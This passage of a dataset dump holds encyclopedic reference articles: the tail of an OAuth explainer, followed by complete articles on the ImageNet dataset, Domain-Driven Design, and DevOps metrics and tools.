**Public**: implicit flow, password flow, authorization code flowThough it's more common to talk of grant types these days, the terms two-legged flow and three-legged flow are still in use. With the former, the resource owner is not involved, as in client credentials flow. With the latter all three (resource owner, client and authorization server) are involved. \n\n\n### What essential data are exchanged for authorization?\n\nEvery client must have a client ID and a client secret key. Sometimes these are called consumer ID and consumer secret key. The client will also have a redirect URI. This is the endpoint where the authorization code will be received by the client and subsequently exchanged for an access token. This tuple of client ID, secret key and redirect URI is generated or configured in advance on the authorization server, what is called client registration. Authorization will fail if these do not match.\n\nAccess token is the one that's presented to the resource server after a successful authorization. Access token simply allows access to protected resources. The resource owner may choose at any point to revoke access at the authorization server. A token can also expire, in which case the client can request a token refresh if refresh is allowed. \n\nIn the case of password flow, authorization will be based on the resource owner's username and password. From a security standpoint, this flow makes sense only if the resource owner trusts the client enough to give out her username and password. \n\n\n### Which are the endpoints defined in OAuth?\n\nAn endpoint is nothing more than a URI. The standard defines the following endpoints though extra endpoints could be added: \n\n    + **Authorization endpoint**: Located at the authorization server, this is used by the client to obtain authorization from the resource owner. Resource owner is redirected to authorization server via a user-agent (typically the web browser).\n    + **Redirection endpoint**: Located at the client, this is used by the authorization server to return responses containing authorization credentials to the client via the user-agent.\n    + **Token endpoint**: Located at the authorization server, this is used by the client to exchange an authorization grant for an access token.The typical call flow, at least for authorization code grant type, invokes the endpoints in the order of Authorization, Redirection and Token. In the case of implicit grant type, the order is Authorization and Redirection endpoints. The Token endpoint is not involved since the Authorization endpoint implicitly returns an access token. \n\n\n### Are there open source implementations of OAuth?\n\nOAuthLib is an open source implementation in Python. Hydra is an implementation in Go. It covers OAuth and OpenID Connect. In Java, we have Spring Security OAuth and Apache Oltu. The latter includes OAuth, JWT, JWS and OpenID Connect. From Google, there's Google OAuth Client Library for Java. Anvil Connect supports OAuth, JWT and OpenID Connect. \n\nWe have keep in mind that these implementations may be specific to client or server or both.\n\n\n### How would you compare OAuth with OpenID Connect and SAML?\n\nOpenID Connect (OIDC) is an identity and authentication layer that uses OAuth 2.0 as the base layer for authorization. As an ID token it uses a signed JSON Web Token (JWT), also called JSON Web Signature (JWS). It uses REST/JSON message flows. OIDC best suited for single sign-on apps while OAuth is best for API authorization. \n\nIn some use cases, OAuth 2.0 may be used by implementors as a means of pseudo-authentication, by assuming the entity owning the access token is also the resource owner. Eran Hammer-Lahav summarized the difference between OpenID and OAuth nicely (authentication vs authorization), \n\n> While OpenID is all about using a single identity to sign into many sites, OAuth is about giving access to your stuff without sharing your identity at all.\n\nSecurity Assertion Markup Language (SAML) offers both authentication and authorization. What is called a token in OpenID and OAuth terminology, is called an assertion in SAML. Assertions (structured in XML) contain statements that fulfil the purpose of authentication and authorization. SAML may not be suited for mobile apps. \n\nAs a simplification, we could see OIDC as a combination of OAuth and SAML. \n\n\n### What are OAuth extensions?\n\nOAuth allows extensibility in terms of authorization grant types, access token types, and more. This will allow OAuth to interwork with other protocol frameworks.\n\nWebsite OAuth.net considers three RFCs as part of the OAuth 2.0 Core: 6749, 6750, 6819. It then lists a number of OAuth extensions. Likewise, a search on IETF Datatracker yields all documents that pertain to OAuth. \n\n\n### How does OAuth 1.x compare against OAuth 2.0?\n\nOAuth 2.0 uses SSL/TLS for security. With OAuth 1.x, each request had to be secured by the OAuth implementation, which was cumbersome. In this sense, OAuth 2 is simpler. OAuth 1.0 suffered from session fixation attacks. Such a flaw does not exist in OAuth 1.0a and above. \n\nOAuth 2.0 uses grant types to define different flows or use cases. OAuth 1.x worked well for server-side applications but not so well for browser web apps or native apps. OAuth 2.0 is not compatible with OAuth 1.0 or 1.0a (sometimes called 1.1). A deeper technical comparison of versions 1.x and 2.0 is available at OAuth.com. \n\nControversially, it's been mentioned that OAuth 2 is \"more complex, less interoperable, less useful, more incomplete, and most importantly, less secure.\" \n\n\n### What are the problems with OAuth?\n\nOne of OAuth's original creators, Eran Hammer, claimed that OAuth 2 is more complex and less useful than its earlier version. It's been \"designed-by-committee\" with enterprise focus. He claims OAuth should have been a protocol rather than a framework. The end result is too much flexibility and very few interoperable implementations. \n\nIn terms of security risks, one analysis showed how developers can mistakenly use OAuth for the purpose of user authentication. In 2014, the \"Covert Redirect\" vulnerability was discovered where phishing along with URL redirection can be used to gain access to protected resources. This can be solved by having a whitelist of redirect URLs on the authorization server. In 2016, researchers discovered that man-in-the-middle attacks were possible with OAuth and OpenID Connect. Because OAuth 2.0 uses TLS, it doesn't support signature, encryption, channel binding and client verification. \n\n## Milestones\n\nNov  \n2006\n\nBlaine Cook starts looking at OpenID but wants a better delegated authentication method for the Twitter API. \n\nApr  \n2007\n\nOpenAuth Google group is started but when AOL releases their own protocol named OpenAuth, this group changes its name to OAuth in May 2007. \n\nDec  \n2007\n\nOAuth Core 1.0 final draft is released. \n\nMay  \n2009\n\nOAuth Working Group is created at IETF. One of the creators of OAuth later commented that bringing OAuth into IETF was a mistake. \n\nJun  \n2009\n\nOAuth Core 1.0 Revision A is released. It fixes the session fixation attack. \n\nApr  \n2010\n\nIETF releases RFC 5849 that replaces OAuth Core 1.0 Revision A. \n\nOct  \n2012\n\nOAuth 2.0 is released by IETF as RFC 6749.","meta":{"title":"OAuth","href":"oauth"}}
{"text":"# ImageNet\n\n## Summary\n\n\nImageNet is a large database or dataset of over 14 million images. It was designed by academics intended for computer vision research. It was the first of its kind in terms of scale. Images are organized and labelled in a hierarchy.\n\nIn Machine Learning and Deep Neural Networks, machines are trained on a vast dataset of various images. Machines are required to learn useful features from these training images. Once learned, they can use these features to classify images and perform many other tasks associated with computer vision. ImageNet gives researchers a common set of images to benchmark their models and algorithms. \n\nIt's fair to say that ImageNet has played an important role in the advancement of computer vision.\n\n## Discussion\n\n### Where is ImageNet useful and how has it advanced computer vision?\n\nImageNet is useful for many computer vision applications such as object recognition, image classification and object localization. \n\nPrior to ImageNet, a researcher wrote one algorithm to identify dogs, another to identify cats, and so on. After training with ImageNet, the same algorithm could be used to identify different objects. \n\nThe diversity and size of ImageNet meant that a computer looked at and learned from many variations of the same object. These variations could include camera angles, lighting conditions, and so on. Models built from such extensive training were better at many computer vision tasks. ImageNet convinced researchers that large datasets were important for algorithms and models to work well. In fact, their algorithms performed better after they were trained with ImageNet dataset. \n\nSamy Bengio, a Google research scientist, has said of ImageNet, \"Its size is by far much greater than anything else available in the computer vision community, and thus helped some researchers develop algorithms they could never have produced otherwise.\" \n\n\n### What are some technical details of ImageNet?\n\nImageNet consists of 14,197,122 images organized into 21,841 subcategories. These subcategories can be considered as sub-trees of 27 high-level categories. Thus, ImageNet is a well-organized hierarchy that makes it useful for supervised machine learning tasks.\n\nOn average, there are over 500 images per subcategory. The category \"animal\" is most widely covered with 3822 subcategories and 2799K images. The \"appliance\" category has on average 1164 images per subcategory, which is the most for any category. Among the categories with least number of images are \"amphibian\", \"appliance\", and \"utensil\". \n\nAs many as 1,034,908 images have been annotated with **bounding boxes**. For example, if an image contains a cat as its main subject, the coordinates of a rectangle that bounds the cat are also published on ImageNet. This makes it useful for computer vision tasks such as object localization and detection. \n\nThen there's **Scale-Invariant Feature Transform (SIFT)** used in computer vision. SIFT helps in detecting local features in an image. ImageNet gives researchers 1000 subcategories with SIFT features covering about 1.2 million images. \n\nImages vary in resolution but it's common practice to train deep learning models on sub-sampled images of 256x256 pixels. \n\n\n### Could you explain how ImageNet defined the subcategories?\n\nIn fact, ImageNet did not define these subcategories on its own but derived these from WordNet. **WordNet** is a database of English words linked together by semantic relationships. Words of similar meaning are grouped together into a synonym set, simply called **synset**. Hypernyms are synsets that are more general. Thus, \"organism\" is a hypernym of \"plant\". Hyponyms are synsets that are more specific. Thus, \"aquatic\" is a hyponym of \"plant\". \n\nThis hierarchy makes it useful for computer vision tasks. If the model is not sure about a subcategory, it can simply classify the image higher up the hierarchy where the error probability is less. For example, if model is unsure that it's looking at a rabbit, it can simply classify it as a mammal. \n\nWhile WordNet has 100K+ synsets, only the nouns have been considered by ImageNet. \n\n\n### How were the images labelled in ImageNet?\n\nIn the early stages of the ImageNet project, a quick calculation showed that by employing a few people, they would need 19 years to label the images collected for ImageNet. But in the summer of 2008, researchers came to know about an Amazon service called **Mechanical Turk**. This meant that image labelling can be crowdsourced via this service. Humans all over the world would label the images for a small fee. \n\nHumans make mistakes and therefore we must have checks in place to overcome them. Each human is given a task of 100 images. In each task, 6 \"gold standard\" images are placed with known labels. At most 2 errors are allowed on these standard images, otherwise the task has to be restarted. \n\nIn addition, the same image is labelled by three different humans. When there's disagreement, such ambiguous images are resubmitted to another human with tighter quality threshold (only one allowed error on the standard images). \n\n\n### How are the images of ImageNet licensed?\n\nImages for ImageNet were collected from various online sources. ImageNet doesn't own the copyright for any of the images. This has implication on how ImageNet shares the images to researchers. \n\nFor public access, ImageNet provides image thumbnails and URLs from where the original images were downloaded. Researchers can use these URLs to download the original images. However, those who wish to use the images for non-commercial or educational purpose, can create an account on ImageNet and request access. This will allow direct download of images from ImageNet. This is useful when the original sources of images are no longer available.\n\nThe dataset can be explored via a browser-based user interface. Alternatively, there's also an API. Researchers may want to read the API Documentation. This documentation also shares how to download image features and bounding boxes. \n\n\n### What is the ImageNet Challenge and what's its connection with the dataset?\n\nImageNet Large Scale Visual Recognition Challenge (ILSVRC) was an annual computer vision contest held between 2010 and 2017. It's also called **ImageNet Challenge**.\n\nFor this challenge, the training data is a subset of ImageNet: 1000 synsets, 1.2 million images. Images for validation and test are not part of ImageNet and are taken from Flickr and via image search engines. There are 50K images for validation and 150K images for testing. These are hand-labeled with the presence or absence of 1000 synsets. \n\nThe Challenge included three tasks: image classification, single-object localization (since ILSVRC 2011), and object detection (since ILSVRC 2013). More difficult tasks are based upon these tasks. In particular, **image classification** is the common denominator for many other computer vision tasks. Tasks related to video processing, but not part of the main competition, were added in ILSVRC 2015. These were object detection in video and scene classification. \n\nFor more information, read the current state-of-the-art on image classification for ImageNet.\n\n\n### What is meant by a pretrained ImageNet model?\n\nA model trained on ImageNet has essentially learned to identify both low-level and high-level features in images. However, in a real-world application such as medical image analysis or handwriting recognition, models have to be trained from data drawn from those application domains. This is time consuming and sometimes impossible due to lack of sufficient annotated training data. \n\nOne solution is that a model trained on ImageNet can use it's weights as a starting point for other computer vision task. This reduces the burden of training from scratch. A much smaller annotated domain-specific training may be sufficient. By 2018, this approach was proven in a number of tasks including object detection, semantic segmentation, human pose estimation, and video recognition. \n\n\n### How is Tiny ImageNet related to ImageNet?\n\nTiny ImageNet and its associated competition is part of Stanford University's CS231N course. It was created for students to practise their skills in creating models for image classification. \n\nThe Tiny ImageNet dataset has 100,000 images across 200 classes. Each class has 500 training images, 50 validation images, and 50 test images. Thus, the dataset has 10,000 test images. The entire dataset can be downloaded from a Stanford server. \n\nTiny ImageNet is a strict subset of ILSVRC2014. Labels and bounding boxes are provided for training and validation images but not for test images. All images have a resolution of 64x64. Since the average resolution of ImageNet images is 482x418 pixels, images in Tiny ImageNet might have some problems: object cropped out, too tiny, or distorted. It's been observed that with a small training dataset overfitting can occur. Data augmentation is usually done on the images to help models generalize better. \n\nSimilarly, *Imagenette* and *Imagewoof* are other subsets of ImageNet, created by fast.ai. \n\n\n### What are the criticisms or shortcomings of ImageNet?\n\nThough ImageNet has a large number of classes, most of them don't represent everyday entities. One researcher, Samy Bengio, commented that the WordNet categories don't reflect the interests of common people. He added, \"Most people are more interested in Lady Gaga or the iPod Mini than in this rare kind of diplodocus\". \n\nImages are not uniformly distributed across subcategories. One research team found that by considering 200 subcategories, they found that the top 11 had 50% of the images, followed by a long tail. \n\nWhen classifying people, ImageNet uses labels that are racist, misogynist and offensive. People are treated as objects. Their photos have been used without their knowledge. About 5.8% labels are wrong. \n\nImageNet lacks geodiversity. Most of the data represents North America and Europe. China and India are represented in only 1% and 2.1% of the images respectively. This implies that models trained on ImageNet will not work well when applied for the developing world. \n\nAnother study from 2016 found that 30% of ImageNet's image URLs are broken. This is about 4.4 million annotations lost. Copyright laws prevent caching and redistribution of these images by ImageNet itself. \n\n## Milestones\n\n1985\n\nGeorge A. Miller and his team at Princeton University start working on **WordNet**, a lexical database for the English language. It's really a combination of a dictionary and a thesaurus. This would enable applications in the area of Natural Language Processing (NLP). \n\n2006\n\nFei-Fei Li at the University of Illinois Urbana-Champaign gets the idea for ImageNet. The prevailing conviction among AI researchers at this time is that algorithms are more important and data is secondary. Li instead proposes that lots of data reflecting the real world would improve accuracy. By now, WordNet itself is mature, with version 3.0 getting released in December. \n\n2007\n\nFei-Fei Li meets Christiane Fellbaum of Princeton University, a WordNet researcher. Li adopts WordNet for ImageNet. \n\n2008\n\nIn July, ImageNet has 0 images. By December, ImageNet reaches 3 million images categorized across 6000+ synsets. By April 2010, the count is 11 million images across 15,000+ synsets. This is impossible for a couple of researchers but is made possible via crowdsourcing on the Amazon's Mechanical Turk platform. \n\n2009\n\nImageNet is presented for the first time at the Conference on Computer Vision and Pattern Recognition (CVPR) in Florida by researchers from the Computer Science Department, Princeton University. \n\nMay  \n2010\n\nThe first ever ImageNet Challenge is organized, along with the well-known image recognition competition in Europe called the *PASCAL Visual Object Classes Challenge 2010 (VOC2010)*. \n\n2012\n\nImageNet becomes the world's largest academic user of Mechanical Turk. The average worker identifies 50 images per minute. \r The year 2012 also sees a big breakthrough for both Artificial Intelligence and ImageNet. **AlexNet**, a deep convolutional neural network, achieves top-5 classification error rate of 16% from the previous best of 26%. Their approach is adapted by many others leading to lower error rates in following years. \n\n2015\n\nThe best human-level accuracy for classifying ImageNet data is 5.1% and GoogLeNet becomes the nearest neural network counterpart with 6.66%. PReLU-Net becomes the first neural network to surpass human-level of accuracy by achieving 4.94% top-5 error rate. \n\n2017\n\nThis year witnesses the final ImageNet Competition. Top-5 classification error drops to 2.3% and the competition is now considered a solved problem. Subsequently, the competition is hosted at Kaggle. \n\nMay  \n2019\n\nEfficientNet claims to have achieved top-5 classification accuracy of 97.1% and top-1 accuracy of 84.4% for ImageNet, dethroning it's predecessor GPipe (December 2018) by a meagre 0.1% in both top-1 and top-5 accuracies. \n\nJun  \n2019\n\nImageNet wins **Longuet-Higgins Prize** at CVPR 2019, a retrospective award that recognizes a CVPR paper for having significant impact and enduring relevancy on computer vision research over a 10-year period. \n\nJul  \n2019\n\n**ImageNet-A** fools the best AI models 98% of the time, due to their over-reliance on colour, texture and background cues. Unlike adversarial attack in which images are modified, ImageNet-A has 7500 original images that have been handpicked from ImageNet. This shows that current AI models are not robust to new data.","meta":{"title":"ImageNet","href":"imagenet"}}
{"text":"# Domain-Driven Design\n\n## Summary\n\n\nWriting software involves software architects and programmers. They understand software concepts, tools and implementation details. But they may be disconnected from the business and hence have an incomplete understanding of the problem they're trying to solve. **Domain-Driven Design (DDD)** is an approach towards a shared understanding within the context of the domain.  \n\nLarge software projects are complex. DDD manages this complexity by decomposing the domain into smaller subdomains. Then it establishes a consistent language within each subdomain so that everyone understands the problem (and the solution) without ambiguity.  \n\nDDD is object-oriented design done right. Among its many benefits are better communication, common understanding, flexible design, improved patterns, meeting deadlines, and minimizing technical debt. However, DDD requires domain experts, additional effort and hence best applied for complex applications.\n\n## Discussion\n\n### What do you mean by 'domain' in the context of domain-driven design?\n\nDomain can be defined as \"a sphere of knowledge, influence or activity.\" For example, *Accountancy* is a domain. An accountant is someone who knows this domain well. She is considered a domain expert. She's perhaps not a programmer and therefore can't build an accounting software. But she can advise developers on the intricacies and workings of the domain. \n\nConsider the domain of air traffic. A developer might imagine that pilots decide on the route (a sequence of 3D points) to a destination. A domain expert might clarify that routes are pre-determined and each route is actually a ground projection of the air path. \n\nTo better manage complexity, a domain can be broken down into **subdomains**. In the e-commerce domain, *Payment*, *Offer*, *Customer* and *Shipping* are possible subdomains. \n\nDomain is the business or problem to be solved. Model is the solution. Likewise, subdomains in the problem space are mapped to **bounded contexts** in the solution space. \n\n\n### Could you explain the relevance of bounded contexts?\n\nConsider the terms *Member* and *Payment* used in a country club. For some stakeholders the terms relate to club membership fees; for others, they're about tennis court booking fees. This disconnect is an indication that the domain is not really one and indivisible. There are subdomains hiding in there and they're best modelled separately. Bounded contexts are the solution. \n\nWhen a model is proposed for a subdomain, it's applied only within the boundaries of the subdomain. These boundaries in the solution space define a bounded context. When teams understand the bounded contexts, it becomes clear what parts of the system have to consistent (within a bounded context) and what parts can develop independently (across bounded contexts). Bounded contexts therefore imply a clear **separation of concerns**. \n\nWithout bounded contexts, we'll end up with a single large complex model of many entities and relationships. Entities will get tightly coupled. The end result is often called a **Big Ball of Mud**. \n\nBounded contexts may overlap or may be neatly partitioned. Bounded contexts often relate to one another and this is captured in a **context map**. \n\n\n### What is meant by the term Ubiquitous Language?\n\nA developer might state that \"a database was updated and triggered an SMTP service.\" A domain expert unfamiliar with such technical jargon will be left confused. **Ubiquitous Language (UL)** is an attempt to get everyone to use words well-understood within the bounded context. Using UL, the developer would now state that \"the pizza was delivered and a coupon was sent to the customer.\" \n\nUL must be consistent and unambiguous. It should evolve as understanding of the domain changes. A change in language implies a change to the model. In fact, the model is not just a design artifact used just to draw UML diagrams. Model is the backbone of the language. Within a bounded context, use the same language in diagrams, writing, speech and code. \n\nTo create an UL, have an open discussion, analyze existing documents, express the domain clearly, and define an agreed glossary. Glossary alone won't help. Use it consciously to arrive at a common understanding of the model. \n\n\n### How should I implement Universal Language in my code?\n\nSince documents can get outdated quickly, code is an enduring expression of Universal Language. \n\nAdopting UL in **naming convention** leads to clean readable code. The purpose of variables, methods, classes and APIs become easier to see. We call this **intention-revealing interfaces**. Example names that follow UL are `TaskReservation`, `ReservationAttempt`, `IsFulfilled`, `BookSeats`, `Reservation`, and `Confirm`. In fact, there are tools to check if names in code follow the domain's defined vocabulary. *NDepend* is one such tool. \n\nWithout UL, a shared understanding is hard to achieve and teamwork suffers. Even among technical folks, one may refer to `coupon` in an API but call it `Discounts` in the backend. Another mismatch is when a checkout workflow is mapped to `RideCommerce` service. Perhaps, this was documented somewhere but the documentation was not read by everyone. \n\nAny code refactoring mustn't happen without discussion using the UL. For example, discussion could involve these questions to clarify concepts: \"When you say `User`, do you mean `Driver`?\" or \"Do you think a `Coupon` is applied to the `BookingAmount`, or is it added?\" \n\n\n### Could you describe some essential terms of DDD?\n\nFrom a comprehensive online DDD glossary, we describe some essential terms:  \n\n    + **Entity**: An object that has attributes but primarily defined by an identity.\n    + **Value Object**: An object with attributes but no identity.\n    + **Aggregate**: A cluster of objects treated as a single unit. External references are restricted to only one member, called the *Aggregate Root*. A set of consistency rules applies within the aggregate's boundaries.\n    + **Factory**: A mechanism to encapsulate and abstract away the details of creating a complex object. A factory ensures aggregates are initialized to a consistent state.\n    + **Repository**: A mechanism to encapsulate storage, search and retrieval from a collection of objects. Its implementation is not a domain concern.\n    + **Service**: A stateless functionality that renders its service via an interface, typically used when a workflow doesn't fit the current model.\n\n### Could you explain entities and value objects?\n\nEntities and value objects both follow principles of object-oriented design. They both encapsulate data (attributes) and behaviour (methods). The key difference is that an entity is distinguished by its **identity**, which must be unique within the system. On the other hand, value objects are descriptive with no conceptual identity. \n\nWhen we say that two entities are the same, we mean that their identities match, with possibly different attributes. When we compare two value objects, we're only checking if their attributes match. Thus, entities use **identifier equality** and value objects use **structural equality**. \n\nAn entity has a **lifecycle**. Its form and content can change but not its identity. Identity is used to track the entity. Value objects are ideally **immutable**. \n\nIn a banking application, transactions are entities, each with a unique transaction number. The amount transacted is a value object. A cheque's date may differ from the date of clearing but entries are always reconciled not by date but by the cheque number. This is an example of comparing entities by identities rather than by attributes. \n\n\n### Could you explain the concept of aggregates in DDD?\n\nWhen a cluster of entities or value objects control a significant area of functionality, it's easier to abstract them into a single consistent unit. This is the **aggregate pattern**. One way to identify aggregates is to look at common transactions and the entities that get involved. \n\nSince an aggregate is a cohesive unit, it's best to ensure consistency by using a single **aggregate root** for all updates. Changing a child entity independently will break consistency since the root is unaware of such direct updates. \n\nAs an example, consider two aggregates *Buyer* and *Order*. *Order* has as entities Order and OrderItem; and Address as a value object. However, all external interactions are via the Order entity, which is the root. This entity refers to the root of the *Buyer* by identity (foreign key) . \n\nKeep an aggregate on one server and allow aggregates to be distributed among nodes. Within an aggregate, update synchronously. Across aggregate boundaries, update asynchronously. Often, NoSQL databases can manage aggregates better than relational databases.\n\n\n### Could you share some tips for practising DDD?\n\nObjects with hardly any behaviour represent poor application of object-oriented design. They're little more than procedural-style design. This anti-pattern is called **Anemic Domain Model**. Instead, put business logic in domain objects. Other DDD anti-patterns to avoid include repetitive data access objects (use repositories instead), fat service layers, and classes that frequently access other classes' data. \n\nAdopt a **layered architecture** to avoid details of application, presentation or data persistence from creeping into the domain layer.  \n\nAnalyze the problem domain before deciding if a concept should be an entity or a value object. Don't link a value object to an entity, which would require an identity for the value object. Instead, the value object can be inlined into the entity. \n\nDifficulties in implementing an aggregate usually indicates a modelling problem. Instead, attempt to refine the model. \n\nIf an operation doesn't fit the current model, evolve the model. Only if that's not possible, consider introducing a service. Since services represent activities, use verbs rather than nouns in naming. Indeed, DDD is not for perfectionists. It's okay if the model can't handle some special cases. Use services rather than a leaky or confusing abstraction. \n\n## Milestones\n\n1960\n\nSoftware engineers recognize from the late 1960s that procedural languages are inadequate in handling the growing complexity of software projects. When *Simula 67* is released in 1967, it becomes the first **object-oriented programming (OOP)** language. Concepts of OOP and OOD reach maturity in the early 1980s. \n\nSep  \n1997\n\nFoote and Yoder observe that while there are many high-level software architectural patterns, what's really prevalent in industry is \"haphazardly structured, sprawling, sloppy, duct-tape and bailing wire, spaghetti code jungle.\" They call this the **Big Ball of Mud**. Code is dictated by expediency than design. The mantra has been, \"Make it work. Make it right. Make it fast.\" Popular practices include immediate fixes and quick prototypes. Programmers work without domain expertise. No thought is given to elegance and efficiency of code. \n\n2003\n\nEric Evans publishes a book titled *Domain-Driven Design: Tackling Complexity in the Heart of Software*. Evans is credited for coining the term **Domain-Driven Design**. This is also called the \"Blue Book\". \n\n2009\n\nAt QCon, Phil Wills presents a case study about how The Guardian website was almost completely rebuilt following the principles of DDD. He mentions some key points: domain experts got more involved; they kept the model flexible to changes even when deadlines were met; they focused on core subdomains while leveraging on off-the-shelf software for the rest. \n\nMay  \n2011\n\nThe term **microservices** gets discussed at a workshop of software architects near Venice, to describe a common architectural style that several of them were exploring at the time. An application is decomposed into loosely coupled services, each being self-contained and managing its own data. From the perspective of DDD, a microservice maps to a subdomain and bounded context. \n\n2013\n\nVaughn Vernon publishes a book titled *Implementing Domain-Driven Design*. This is also called the \"Red Book\". \n\nSep  \n2017\n\nEric Evans notes at the *Explore DDD* conference that DDD remains relevant today, fourteen years after he coined the term. Many tools have come to support and adopt DDD. Though DDD is not about technology, it's not indifferent about technology. With technology's support, we can focus on building better models. He gives some examples. NoSQL databases make it easier to implement aggregates. With modern functional languages, it's easier to implement immutable value objects. Microservices have come to represent bounded contexts. \n\nJan  \n2019\n\nA report published by InfoQ shows DDD in *Late Majority* stage of technology adoption. This is proof of its effectiveness in software development. This stage implies that more than half the software folks have adopted DDD and the skeptics are starting to adopt them too. Only a year earlier, DDD was in the *Early Majority* stage.","meta":{"title":"Domain-Driven Design","href":"domain-driven-design"}}
{"text":"# DevOps Metrics\n\n## Summary\n\n\nDevOps encourages incremental changes and faster releases while also improving quality and satisfaction. But how do we know if DevOps is making an impact? How do we decide what needs to change? We need to measure and this is where DevOps metrics come in.  \n\nMetrics give insights into what's happening at all stages of the DevOps pipeline, from design to development to deployment. Metrics are objective measures. They strengthen the feedback loops that are essential to DevOps. Collecting metrics and displaying them via dashboards or scorecards should be automated. It's important to map these metrics to business needs.\n\n## Discussion\n\n### What factors make for a good DevOps metric?\n\nA good DevOps metric must ideally be all of these: \n\n    + **Obtainable**: A metric that can't be measured is useless.\n    + **Reviewable**: It must be relevant to the business and stand up to scrutiny.\n    + **Incorruptible**: It should be free from influence of teams and team members.\n    + **Actionable**: It should suggest improvements to workflows, policies, incentives, tools, etc.\n    + **Traceable**: It should be possible to trace the metric to root causes.\n\n### What's the process of working with DevOps metrics?\n\nA typical process involved identifying the metrics, putting in place methods to measure them, measuring and displaying them on dashboards, evaluating the metrics in terms status and trends, acting on the metrics to effect change, and continually assessing if the metrics are aligned to business goals. \n\nSince DevOps is cross-functional (process, people, tools) and cross-teams (dev, ops, testing), metrics should not narrowly focus on only some parts of the value chain. Metrics should capture a holistic view of the entire value chain.\n\n\n### What are some important DevOps metrics?\n\nThere are dozens of metrics spread across all phases of a DevOps pipeline. Some have attempted to group them into categories: \n\n    + **Velocity**: lead time, change complexity, deployment frequency, MTTR\n    + **Quality**: deployment success rate, application error rate, escaped defects, number of support tickets, automated test pass percentage\n    + **Performance**: availability, scalability, latency, resource utilization\n    + **Satisfaction**: usability, defect age, subscription renewals, feature usage, business impact, application usage and trafficAnother grouping can be host-based metrics, application metrics, network metrics, server pool metrics and external dependency metrics. \n\nThere are also metrics for application build cycles, metrics for application performance, metrics for delivery performance, metrics organized by infrastructure, system and team health, and metrics for building or running apps.\n\nAt a minimum, aim for more deployments per week, shorter lead time from code commit to deployment, lower failure rate in production, and shorter time to repair failures. Have metrics to measure these. \n\nLikewise, a study from 2019 identified lead time, deployment frequency, mean time to restore (MTTR) and change fail percentage as key metrics. \n\n\n### What are the important metrics in the world of microservices and serverless architectures?\n\nFor microservices, metrics to include are number of requests per second, number of failed requests per second, and distribution of request service times. \n\nFor serverless, the concern shifts from monitoring infrastructure to the application itself. Metrics include performance such as function runtime; scaling such as concurrency limits or memory limits; tracing event-triggered call flows across services or functions; and errors such as code bug, wrong invocation or function timeout. \n\nFor both microservices and serverless, it's important to instrument the code. **OpenTracing** provides a vendor-neutral API for distributed tracing. Observability is an important aspect, which means that communication across services and functions needs to be accessible. A single request must be correlated to the sequence of service calls that followed it. **Istio** is a tool that requires strong observability. \n\n\n### Could you describe some DevOps metrics adopted from traditional engineering practices?\n\nFrom traditional engineering, DevOps has adopted the following metrics: \n\n    + **Mean Time To Detect (MTTD)**: This is the average time to discover a problem. It's an indication of how effective is your incident management tools and processes.\n    + **Mean Time To Failure (MTTF)**: This is an indication of how long on average the system or a component can run before failing. This can suggest preventive maintenance. This metric relates to improving system uptime.\n    + **Mean Time Between Failures (MTBF)**: This is the average time between failures. It's a measure of reliability and availability.\n    + **Mean Time To Repair (MTTR)**: This is the average time to repair/resolve/recover after failure is detected. This metric relates to reducing system downtime. Code complexity is one aspect that affects MTTR.The goal is to reduce MTTD and MTTR while increasing MTTF and MTBF. DevOps is about incremental changes. If many changes are introduced at once, it will take longer to detect and fix issues. \n\n\n### Are there DevOps metrics that one should avoid?\n\nTeams transitioning to DevOps might end up adopting the wrong metrics. In fact, **traditional metrics** such as MTBF could be seen as irrelevant for DevOps where some failures are expected due to the speed of delivery. Look beyond such costs. Instead, improve total economic impact. Others to avoid are metrics that focus on business velocity at the expense of quality or culture; metrics that are optimized for one team and causing negative impact on others. \n\nAvoid **conflict metrics** that promote individuals rather than teams or pit one team versus another. These include ranking individuals or teams based on failure metrics (broken builds, etc.), rewarding top performers who don't collaborate or having different standards for different teams. \n\nAvoid **vanity metrics** that promote quantity or speed over quality: number of lines of code, number of deployments per week, number of bugs fixed, number of tests added. \n\nDon't collect a specific metric just because it's easy. Don't use a metric that encourages negative behaviours. It's been said, \n\n> Human beings adjust behavior based on the metrics they’re held against... What you measure is what you’ll get.\n\n\n### Could you mention some best practices when using DevOps metrics?\n\nFor those new to DevOps metrics, start with metrics that are simpler to collect and manage. Get the momentum going. For better focus, don't apply too many metrics. Choose metrics aimed at broader organizational goals or process health issues. Measure fast to enable real-time feedback loops. \n\nBecause automated system-based metric collection is hard to do, you may want to start with surveys. In fact, both these are complementary. Surveys are good for metrics on culture or things outside the system. \n\nUse metrics that suit your business model. Adopt **value stream mapping** in which each metric is mapped to business values.  For example, measuring website responsiveness becomes more useful if you can map it to business outcomes such as customer churn or abandoned shopping carts. \n\nMetrics can also be role-based (business vs engineering): give teams the choice to customize their own dashboards. In fact, dashboards are essential for tracking all metrics in one place. Compare trends, not teams. Look for outliers. Measure lead time to production, not just completion. \n\nEvolve your metrics as new technologies and tools enter your DevOps pipeline. \n\n\n### Are there tools to help teams collect metrics for DevOps?\n\nMany tools are available for various DevOps tasks. Some of these show metrics and even do real-time monitoring. We briefly mention some of them. In any case, there's a need to provide teams a single unified dashboard regardless of the tool that collects the metrics.\n\nNagios is widely used for IT infrastructure monitoring. Zabbix, Sensu and Prometheus are alternatives. Prometheus is for service monitoring. It's often used with the visualization and analytics of Grafana. \n\nFor application performance monitoring, there are New Relic, AppDynamics, Compuware and Boundary. For deeper integration, cross-platform data aggregation and monitoring, there's BigPanda and PagerDuty. \n\nJIRA Software does issue and project tracking. Code Climate automates code review and analysis. OverOps detects bugs proactively. For build automation, there's Apache Ant. Jenkins is useful for continuous integration and delivery. Ansible, Chef and Puppet help with continuous deployment. Ganglia is for cluster and grid monitoring. Snort is for real-time security. For logging, we have Logstash. Monit does system monitoring and recovery. \n\nCloud providers offer their own monitoring tools: AWS CloudWatch from Amazon or StackDriver from Google. \n\n## Milestones\n\n2009\n\nDevOps has its beginnings at the O'Reilly Velocity conference where John Allspaw and Paul Hammond present a talk titled *10+ Deploys a Day: Dev and Ops Cooperation at Flickr*. Even in these early days, the importance of metrics is realized. Some metrics identified include CPU load, memory usage, network throughput, and aggregated job queue. \n\n2016\n\nThere's a growing realization among practitioners that we can end up collecting a lot of wrong DevOps metrics. It's important to relate metrics to business values, needs or outcomes. One such proposal is the value-based approach that measures how value flows through the DevOps pipeline. \n\nJul  \n2017\n\nGartner publishes a report titled *Data-Driven DevOps: Use Metrics to Guide Your Journey*. This report includes a pyramid of metrics for DevOps.","meta":{"title":"DevOps Metrics","href":"devops-metrics"}}
